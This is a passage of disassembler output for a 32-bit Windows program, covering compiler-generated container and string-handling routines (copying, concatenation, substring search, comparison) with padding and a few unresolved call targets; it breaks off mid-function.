add ebx, ebp
mov ecx, esi
push ebx
call sub_401CAD
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016D6
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401974
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4096CB: ; CODE XREF: sub_409600+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409729
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409729: ; CODE XREF: sub_409600+D8j
test edi, edi
jbe short loc_409763
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016D6
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CCB
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409763: ; CODE XREF: sub_409600+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4097D0 proc near ; CODE XREF: sub_40170Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4097F0
loc_4097E1: ; CODE XREF: sub_4097D0+1Ej
push esi
mov ecx, edi
call sub_402072
add esi, 4
cmp esi, ebx
jnz short loc_4097E1
loc_4097F0: ; CODE XREF: sub_4097D0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4097D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409810 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_409810 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409830 proc near ; CODE XREF: sub_402072j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409830 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409850 proc near ; CODE XREF: sub_4016D6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409882
push edi
mov edi, [esp+10h+arg_8]
loc_409866: ; CODE XREF: sub_409850+27j
push esi
push edi
mov ecx, ebx
call sub_4015AA
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409866
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409882: ; CODE XREF: sub_409850+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098A0 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4098C7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_4098B6: ; CODE XREF: sub_4098A0+23j
push ebx
push esi
mov ecx, ebp
call sub_4015AA
add esi, 4
dec edi
jnz short loc_4098B6
pop esi
pop ebx
loc_4098C7: ; CODE XREF: sub_4098A0+Aj
pop edi
pop ebp
retn 0Ch
sub_4098A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098E0 proc near ; CODE XREF: sub_401CADj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_40203B
sub_4098E0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_4015AAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_409910 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409940 proc near ; CODE XREF: sub_401F96j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40995D
mov edx, [esp+arg_8]
push esi
loc_409951: ; CODE XREF: sub_409940+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409951
pop esi
locret_40995D: ; CODE XREF: sub_409940+Aj
retn
sub_409940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409970 proc near ; CODE XREF: sub_401CCBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409992
mov eax, [esp+arg_8]
push esi
loc_409981: ; CODE XREF: sub_409970+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409981
pop esi
retn
; ---------------------------------------------------------------------------
loc_409992: ; CODE XREF: sub_409970+Aj
mov eax, [esp+arg_8]
retn
sub_409970 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099D0 proc near ; CODE XREF: sub_40203Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4099DA
xor eax, eax
loc_4099DA: ; CODE XREF: sub_4099D0+6j
shl eax, 2
push eax
call sub_4367FA
sub_4099D0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A00 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409A1B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409A1B: ; CODE XREF: sub_409A00+11j
retn
sub_409A00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A30 proc near ; CODE XREF: sub_401979j
arg_0 = dword ptr 4
mov al, byte_44719A
push esi
test al, al
mov esi, ecx
jz short loc_409A66
push edi
nop
call near ptr 2841A92h
mov edi, dword_50F8C4
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409A66: ; CODE XREF: sub_409A30+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409A30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AA0 proc near ; CODE XREF: sub_401CDAj
mov al, byte_44719A
push esi
test al, al
mov esi, ecx
jz short loc_409ABF
nop
call near ptr 2850000h
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409ABF: ; CODE XREF: sub_409AA0+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409AA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401424j
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43E010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409B10: ; CODE XREF: ___:00402063j
; ___:loc_402171j
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409B28: ; CODE XREF: ___:00409B1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B40 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_4014C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FBE
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_4020F4j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4437F4
push ecx
mov dword ptr [esi], offset off_43E010
call sub_5EE1E5
nop
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C30 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43E010
cmp eax, edi
jz short loc_409C4C
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C4C: ; CODE XREF: sub_409C30+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409C5F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C5F: ; CODE XREF: sub_409C30+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409C30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C80 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409CEA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409CAA
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409CAA: ; CODE XREF: sub_409C80+1Fj
lea ebx, [ebp+2]
push ebx
call sub_4367FA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0DDAAE852h, 83907783h
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409CEA: ; CODE XREF: sub_409C80+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409C80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D20 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_409D20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409D50: ; CODE XREF: ___:00401A46j
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4437F4
push ecx
nop
call sub_5EE1E5
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015D7
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DA0 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_4367FA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409E2F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409E2F: ; CODE XREF: sub_409DA0+84j
mov [ebx+9], ebp
loc_409E32: ; CODE XREF: sub_409DA0+Cj
; sub_409DA0+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409DA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E70 proc near ; CODE XREF: sub_4016BDj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401A9B
pop esi
retn 4
sub_409E70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EA0 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4437F4
push ecx
nop
call sub_5EE1E5
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401A9B
pop esi
add esp, 10h
retn 4
sub_409EA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EF0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409F07
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F07: ; CODE XREF: sub_409EF0+7j
mov eax, [ecx+9]
push ebx
loc_409F0B: ; CODE XREF: sub_409EF0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
test cl, cl
jz short loc_409F2F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409F0B
loc_409F2F: ; CODE XREF: sub_409EF0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F36: ; CODE XREF: sub_409EF0+23j
; sub_409EF0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409EF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F60 proc near ; CODE XREF: sub_401B72j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409F60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F90 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_409FA3
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_409FA3: ; CODE XREF: sub_409F90+6j
push eax
mov eax, [ecx+9]
push eax
call near ptr 77C4624Eh
nop
add esp, 8
retn 4
sub_409F90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4021ADj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A000 proc near ; CODE XREF: sub_401CBCj
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A013
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A013: ; CODE XREF: sub_40A000+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A000 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A030 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A072
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015D7
loc_40A072: ; CODE XREF: sub_40A030+13j
add esp, 2000h
retn
sub_40A030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0A0 proc near ; CODE XREF: sub_401D20j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A0A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0C0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_50FAE0
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx ; strchr
add esp, 8
test eax, eax
jnz short loc_40A0E4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strchr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A0C0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401807
retn 4
sub_40A110 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A130 proc near ; CODE XREF: sub_401807j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402117
pop esi
retn 8
sub_40A130 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A160 proc near ; CODE XREF: sub_4013E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402117
retn 4
sub_40A160 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A195
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A195: ; CODE XREF: sub_40A180+Bj
mov eax, [esi+9]
mov ebx, dword_50FAF8
push edi
push eax
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_40A1AF
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1AF: ; CODE XREF: sub_40A180+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strstr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A180 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A203
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A203: ; CODE XREF: sub_40A1F0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A216
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A216: ; CODE XREF: sub_40A1F0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_4367FA
sub_40A1F0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A270 proc near ; CODE XREF: sub_4013D9j
mov eax, [ecx+11h]
retn
sub_40A270 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A290 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A290
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A2E2
mov esi, [esp+34h+arg_0]
push offset byte_446F70
mov ecx, esi
call sub_401861
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A2E2: ; CODE XREF: sub_40A290+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_401424
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_4367FA
sub_40A290 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015D7
push ebx
call sub_4367E2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014C9
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013D9
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A3C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A400: ; CODE XREF: ___:0040193Dj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_4020F4
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A430 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A471
mov esi, [esp+44h+arg_0]
push offset byte_446F70
mov ecx, esi
call sub_401861
jmp loc_40A5A4
; ---------------------------------------------------------------------------
loc_40A471: ; CODE XREF: sub_40A430+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_401690
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401861
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014D3
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A555
push ebx
loc_40A4B1: ; CODE XREF: sub_40A430+11Ej
